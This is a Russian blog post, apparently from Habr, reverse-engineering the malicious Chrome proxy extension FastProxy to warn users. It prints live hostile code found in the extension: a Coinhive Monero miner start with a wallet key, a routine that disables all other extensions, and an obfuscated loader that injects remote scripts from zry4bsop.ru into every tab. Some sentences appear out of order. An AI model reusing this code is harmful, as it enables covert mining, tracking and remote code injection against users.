Хабрахабр

«Вирусы» в расширениях на примере FastProxy

В этой статье я покажу насколько опасны могут быть расширения в хроме, и чем
расширения в фаерфоксе безопаснее.

Речь пойдёт о расширении FastProxy.
Ни в коем случае не ставьте его в чистом виде в хроме.

Чтобы получить его исходный код — сначала надо поставить другое расширение Chrome extension source viewer.

После этого открыть страницу.

Иконка CRX при этом станет жётлой — кликнуть на неё и Выбрать "скачать как zip".

Теперь к анализу кода.

1. Manifest (manifest.json) — ядро любого расширения

Ограничения расширения задаются CSP (content security policy) и permissions:

"content_security_policy": "script-src 'self' 'unsafe-eval' https://ssl.google-analytics.com; object-src 'self'",
"permissions": [ "proxy", "tabs", "webRequest", "webRequestBlocking", "management", "\u003Call_urls>", "storage" ],

исполнять код из любой переданной строки. CSP должна сразу насторожить, она позволяет unsafe-eval (подробнее об этом здесь).
Т.е.

  • Разрешение management позволяет управлять другмии расширениями.
  • Разрешение webRequestBlocking позволяет подменять абсолютно все запросы, проходящие через браузер.
  • Разрешение \u003Call_urls> это тоже самое что <all_urls> — позволяет действовать на любом сайте.

Подробнее о разрешениях можно узнать здесь.

на базе лишь одного файла манифеста расширение уже имеет огромный уровень доступа ко всему. Т.е.

Ключевые файлы кода перечислены в

"background": ,

Выполняются по порядку в массиве сразу после установки расширения или сразу после запуска браузера.

Для распутывания будем использовать сайт http://jsbeautifier.org/ с дефолтными настройками. Код минимифирован и запутан.

  • Файл jquery.min.js я сравнил с оригинальным кодом jquery 2.2.4 — они совпадают.
  • Файл ga.js это просто код Google Analytics.
  • Файл lib.js это CryptoJS.
  • Основной код сосредоточен в background.js.

Чтобы было намного легче читать код, я его немного переписал (переименовал функции, поменял запятые на отдельные блоки и т.п.).
Также можно использовать firefox-версию того же расширения, чтобы понять неосновную часть кода.
Использование proxy в фаерфоксе и хроме кардинально отличается.

Чтобы скачать firefox-версию расширения, нужно открыть в фаерфоксе ссылку.
Скопировать ссылку на "Добавить в Firefox" и открыть её в хроме.
Открывать также как zip-архив.

Переписанный код можно найти по этой ссылке.

Прежде всего нужно понимать что $.ajax выполненный на файле со скриптом внедряет этот скрипт в страницу (в данном случае не в страницу, а в фоновый процесс).

Настораживают строки

localStorage.C = JSON.stringify( [ "U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==", "U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ==" ]
);

Они уже как бы говорят нам, что дело тут не чисто.

AES.decrypt( JSON.parse( localStorage. Добавляем console.log после CryptoJS. AES.decrypt( JSON.parse(localStorage. C)[cc], "config") и CryptoJS. P)[pc], "record"), запрещая выполнение самих аяксов.

C)[cc] (и аналогичной для record) cc меняем от 0 до 1 (в дальнейшем и до 2, когда увидим массивы из 3 элементов). При этом в строке JSON.parse( localStorage.

Получаем ссылки:
для config это

0. http://proxyrus.ru/proxy/config/config.txt?uid=1534767152937&version=5. 0. 4 (1)
http://proxy-fast.ru/proxy/config/config.txt?uid=1534767152937&version=5. 4 (2)

для record это

0. http://proxyrus.ru/proxy/config/data.txt?uid=1534767152937&version=5. 0. 4 (3)
http://proxy-fast.ru/proxy/config/data.txt?uid=1534767152937&version=5. 4 (4)

Посмотреть просто открыв через браузер не получится — видимо стоят проверки на входящие заголовки. Причём ссылки отдают данные только при использовании с обоими параметрами uid и version, а также только через $.ajax или fetch.

Если вы хотите прочитать их сами, лучше используйте просто fetch в каком-то ином проекте (потребуется поставить расширения, которые разблокируют CORS в браузере). А теперь перейдём к тому, что отдают эти аяксы.

config_proxyrus.ru.js

'unsafe-eval' присутствует, а ограничений по ссылкам нет в CSP. Итак, первая ссылка отдает нам скрипт, который будет автоматически внедрён в фоновый процесс, т.к.

Стоит отметить строку

function antiZapret (tabId, changeInfo, tab) {
if (typeof(tab.url) != 'undefined' && changeInfo.status == 'complete') { chrome.tabs.executeScript(tabId,{code: "if (document.body.innerText.indexOf('Антизапрет: ОШИБКА') != -1) document.body.innerHTML = '<center style=\"margin-top: 50px; font-size:20px;\">Сайт временно не работает.<br><br>Повторите запрос позже.</center>'",runAt:"document_start"});
}

Вбиваем в поиске "антизапрет fastproxy" и открываем 4й результат поиска, раздел "Будьте осторожны".
Выясняется, что FastProxy использует не свои proxy сервера.

config_proxy-fast.ru.js

Вторая ссылка дает код аналогичный первой, но скрипт уже другой!

function closeWindow () { const time = 500; // Повторять каждые полсекунды setInterval(function() { // Взять текущий выбранный таб chrome.tabs.getSelected(null, function (details) { // если у него нет id - закрыть if (details.id == -1) window.close(); }) }, time);
}
closeWindow();

Исключение составляет таб-окно консоли браузера. Обычно у всех табов есть id. это защита от подсматривания через консоль. Т.е.

AES.decrypt( value, "config").toString(CryptoJS.enc. Также этот файл содержит новые урлы, расшифруем их, используя CryptoJS. AES.decrypt( value, "record").toString(CryptoJS.enc. Utf8) и CryptoJS. Но третья отличается: Utf8).
Первые 2 ссылки совпадают с предыдущими.

http://fastproxy.ga/proxy/config/config.txt

Для 'record' же все 3 ссылки новые.

http://proxyrus.ru/proxy/config/data_ru.txt
http://proxy-fast.ru/proxy/config/data_ru.txt
http://fastproxy.ga/proxy/config/data_ru.txt

config_fastproxy.ga.js

По факту не отличается от config_proxy-fast.ru.js

Вернёмся к config_proxyrus.ru.js

Дальше начинается уже интересное. Код также содержит закрытие консоли.

Строка

var ext_id = chrome.app.getDetails().id;

достает идентификатор расширения, причём это недокументированная возможность.
Текущая документация использует иной метод
Далее идёт разветвление:

if (ext_id == 'beopoifhaiidibmihoignfdkkbmjipha' || ext_id == 'fcdjcppkancjbpdhemdjhebpomdobibe' || ext_id == 'ofgklcpjmjllneddlbdagcfjejijgddf' || ext_id == 'pkmnmcdbmckjkjamjplinbcfajgpdofg' || ext_id == 'gmepkmkiaabodlcacffkfcebpmoignmn') { localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]); localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]); chrome.runtime.reload(); // полная перезагрузка расширения
}
else { localStorage.C = JSON.stringify([ "U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==", "U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ==", "U2FsdGVkX19KHybcO9+ekVU/z2EbOWZdK42M6O3fdj30yg8Eb/uK2bpDbUCX/GAbhgMzvjOoGx7yBIpbGICjkA==", ]); localStorage.P = JSON.stringify([ "U2FsdGVkX1/VY0dOqAXKTY3QGegKeto9s/+UEFgoHQKH6MIbSWJBHk0q4BcEP33AJ6WmoPXpnuVJqlC1Hcg32g==", "U2FsdGVkX18iHLmS1gYYFtaRIMMGzvXxkz3y41PdqzDR3CylKy5G/yV3Xoc2SJIBWmxiiDuJVdDBHsPhOhsSpA==", "U2FsdGVkX1/JndUDO1bR2np5RROkl1IF4EDQ1BMjjtLumYu6HXCxTWahndHXFKA9IeRfBtFfcdHL1J/NjI+KBA==", ]);
}

Те же три ссылки в случае если ext_id не попадает в нужный список расширений.
И одна новая ссылка, если попадает в список расширений + полная перезагрузка расширения.

С текущим id FastProxy совпадений нет. Если кому удастся найти, что это были за расширения — напишите в комментариях. Поиск через google store не дает ничего по их идентификаторам.

Расшифровка ссылок

localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]);
localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]);

дает

http://prowebdom.ru/update/test/proxy/config/config_ru.js
http://prowebdom.ru/update/test/proxy/config/data_ru.pac
которые могут быть открыты прямо в браузере.

config_prowebdom.ru.js

А дальше уже самое интересное. Снова закрытие консоли.

var coin = $.get("https://coinhive.com/lib/coinhive.min.js");
coin.done(() => { var miner = new CoinHive.User('aUvlRg4eSsDf6wcFmMZPjQ57JDUUR3IR', 'FPR', {autoThreads: true}); miner.start();
})

Запомните кстати кошелёк, если увидите где-то в коде аналогичный — это те же люди. ^ Запуск майнера Monero.

function removeAdBlockExtensions () { window.chrome.management.getAll((extensions) => { extensions.forEach((e) => { if (e.enabled && e.id != window.chrome.runtime.id) { window.chrome.management.setEnabled(e.id, false); } }); });
}
removeAdBlockExtensions();

Этот код отключает все расширения, кроме него самого.
Если бы не было разрешения managament, это было бы не возможно.

Далее

chrome.tabs.onUpdated.addListener(onUpdatedListenerSearch);

и

function onUpdatedListenerSearch(tabId, changeInfo, tab) { if (typeof(tab.url) != 'undefined') { var ext_id = chrome.app.getDetails().id; if (ext_id != 'mkelkmkgljeohnaeehnnkmdpocfmkmmf') { if (tab.url.indexOf('google') == -1) { // в каждый таб внедряется скрипт после полной загрузки страницы в этом табе chrome.tabs.executeScript(tabId, {code:"!function(){var b={a3759370402:'30022',a1072190280:'{subid}',a2302729239:JSON.parse('[\"7a72793462736f702e7275\",\"746b636d36686a762e7275\"]')},c=function(h,j,k){for(var l=[].slice.call(k),m=h.split('.'),p=m.pop(),q=0;q<m.length;q++)j=j[m[q]];return j[p].apply(j,l)},d=function(h){if(!(h=h.match(/.{1,2}/g)))return'';for(var j='',k=0;k<h.length;k++)j+=c('fromCharCode',String,[parseInt(h[k],16)]);return j},f=function(h,j,k){if('undefined'==typeof a2690641770||!a2690641770(document.location.protocol+'//'+h))if(document.head){var l=document.createElement('script');l.setAttribute('src',document.location.protocol+'//'+h),l.setAttribute('type','text/javascript'),document.head.appendChild(l),l.onload=function(){this.a982392846||(this.a982392846=!0,'function'==typeof j&&j())},l.onerror=function(){this.a982392846||(this.a982392846=!0,l.parentNode.removeChild(l),'function'==typeof k&&k())}}else setTimeout(function(){f(h,j,k)},10)},g=function(h){if(!(0>=b.a3759370402||0>b.a1072190280)){var j=h||b.a2302729239[0],k=d(j)+'/'+['d6s','afu','ndj','enk','6af'].join('')+'/'+b.a3759370402+'_'+b.a1072190280+'.js';f(k,function(){},function(){var l=b.a2302729239.indexOf(j),m=b.a2302729239[l+1];m&&g(m)})}};b.a3759370402=parseInt(b.a3759370402)||0,b.a1072190280=parseInt(b.a1072190280)||0,g()}();/* k */", runAt: 'document_end'}, callback); } } }
}

Подробнее тут.
Проще говоря действует на каждый таб. tabs.onUpdated запускает колбэк при обновлении одной из стадий загрузки таба на другую.

if (ext_id != 'mkelkmkgljeohnaeehnnkmdpocfmkmmf')

Видимо была серия нескольких расширений, которые работали как вирусы. Кроме FastProxy самого.

if (tab.url.indexOf('google') == -1) {

Видимо потому, что табы с гугл временные. Все урлы, кроме тех, что содержит строку google. Истиная причина мне не понятна.

И самое страшное — в каждый таб внедряется скрипт после полной загрузки страницы в этом табе:

script1.js

Прогняем его через JS beautifier.

script2.js

Игры с символами можно опустить благодаря console.log.
Самое опасное начинается там где создается тег script.
var l = document.createElement('script');

Меня интересует в первую очередь либо его innerHTML либо src.

l.setAttribute('src', document.location.protocol + '//' + h)

Правая же часть это фактическая ссылка. Левая часть понятна — протокол текущей страницы. Поставим туда console.log

Получаем

zry4bsop.ru/d6safundjenk6af/30022_0.js

script3.js

Аналогично прогоняем через JS beautifier

script4.js

Принцип файла такой же — самая опасная часть это добавление скрипта.

var e = document.createElement("script");
e.setAttribute("src", document.location.protocol + "//" + t);

Получаем

zry4bsop.ru/d6safundjenk6af/30022_0/c_646576656c6f7065722e6d6f7a696c6c612e6f7267_0.js
если запускать на сайте MDN

На productforums.google.com же

zry4bsop.ru/d6safundjenk6af/30022_0/c_70726f64756374666f72756d732e676f6f676c652e636f6d_0.js

Выходит правая часть к чему-то привязана

Смотрим по коду

document.location.hostname ? document.location.hostname : document.location.toString().split("/")[2]

упоминается в самовызывающейся функции f
затем f упоминается в

var n = o(i[t]) + "/" + ["d6s", "afu", "ndj", "enk", "6af"].join('') + "/" + a + "/c_" + f + "_" + c + ".js";

через символьные операции в скрипт передаётся посещаемый URL.
Смотрим на сам код скриптов, они совпадают. Т.е.

script5.js

Опять прогоняем через JS beautifier.

script6.js

Но довольно сложно понять что происходит на самом деле.
Так что попытаемся переименовать эти нумерованные функции. Не переписывая код, можно посмотреть на добавления узлов, создание скриптов, замену кук,
создание элементов с нуля, аяксы.

script7.js

Тяжелее всего проходить через постоянные создания объектов, которые создают объекты, которые создают объекты… А также тяжело было найти чистые функции чтобы начать распутывать клубок. Распутывание этого файла было тяжелым.

Но то, что распутал дает следующее: Мне не удалось до конца распутать код.

Сборка полного отпечатка о пользователе, которая затем конвертируется в уникальную строку через серию битовых операций.
Этот отпечаток включает в себя:

  • UserAgent
  • Сведения об установленных плагинах (для IE особенно). Особо тут стоит упомянуть строку про Palemoon. Дело в том, что Palemoon позволяет использовать Java.
  • Сведения об используемом процессоре
  • Сведения об установленных шрифтах (функция getFontData). Причём по коду заложена возможность использовать расширенный список шрифтов, помимо системного. Но используется только системный
  • Уникальный отпечаток по canvas (функция get2dCanvasFingerprint). Учитывая что он использует несколько нестандартных символов есть проверка на наличие установленных языков в системе.
  • Уникальный отпечаток по webgl (функция getWebglFingerprint)
  • Проверка фальшивости поставляемых navigator данных (функция hasFalseBrowser). Особенно в этом плане интересно использование eval.toString(), чтобы понять что за браузер используется на самом деле. Никогда бы об этом не догадался.

Но она не используется в коде и не запускается при запуске скрипта. Есть функция, которая запускает XMLHttpRequest.

Есть функция, которая внедряет флеш на страницу, но по факту она не используется.

Особо посмотрите коды сбора отпечатков canvas / webgl.

Есть внедрение айфрейма на страницу (метод appendBadIframe1).
Теперь посмотрим что находится в этом айфрейме.

iframe1

Прогоняем через JS beautifier.

iframe2

Если основной скрипт это по большей части битовые операции, то айфрейм это прогоны через вычисляемые свойства объектов. По коду это обменник информацией с основным скриптом. Используя window.postMessage они обменваются сообщениями между собой.

Вернёмся к script7.js

Исполнение файла создает 6 запросов XHR (причём через создание Img), а также при клике на страницу открывается новое окно.
Расшифрованные ссылки для запросов можно найти в коде.

Вернёмся к расширению

Эти ссылки используются как PAC-файл для метода chrome.proxy.settings.set.
Коды файлов можно найти тут: Вернёмся к расширению и ссылкам record.

https://github.com/lawlietmester/fastproxy_article/blob/master/pac_fastproxy.ga.js
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_prowebdom.ru.js
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_proxy-fast.ru.js
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_proxyrus.ru.js

доступ без прокси.
Отличается набор серверов и набор заблокированных доменов/айпи.
Разберёмся чьи сервера помимо Автозапрета (antizapret.prostovpn.org) использует FastProxy.
Вбиваем postls.com в поиск. Общая суть файлов — на заблокированные домены и айпи повесить доступ через прокси, а на прочее DIRECT, т.е. Открываем первую ссылку.

To block the Browsec extension, you will need to create a VPM rule which will block destination URL IP/host name
browsec.com
postlm.com
postls.com

FastProxy использует сервера Антизапрета и Browsec, не имея своих собственых серверов. Т.е.

можно полностью поменять HTML-страницы, можно убрать мешающие заголовки в запросах, включая CSP (content security policy) сайта.
При помощи своего прокси можно слить весь траффик пользовтаеля, который идёт через свой прокси. При помощи разрешения webrequest + webrequestBlocking можно поменять абсолютно любой запрос, включая внутренние запросы внутри самого хрома.
Т.е.

Политика гугла значительно мягче чем политика мозиллы, они публикуют практически всё.
У мозиллы есть жёсткие требования: unsafe-eval запрещён, запутывание кода запрещено (разрешено, если предоставите полный сборщик).
Также мозилла сама периодически смотрит коды расширений, но не сразу после публикации.
Побробнее можно прочитать здесь и здесь.
По этой причине ставить новые расширения фаерфокса намного спокойней чем расширения хрома.

И скорей всего будет отдавать ещё больше в будущем. navigator отдает нереально много уникальных данных о браузере, нежели это было в прошлом.

eval.toString, также как и иные нативные функции позволят вычислить настоящую версию браузера.

Уникальный отпечаток по canvas и webgl.

И что там получается уникального? Если кто-то работал с webgl, расскажите пожалуйста что делает функция getWebglFingerprint.

Все исходники можно найти тут

Теги
Показать больше

Похожие статьи

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Кнопка «Наверх»
Закрыть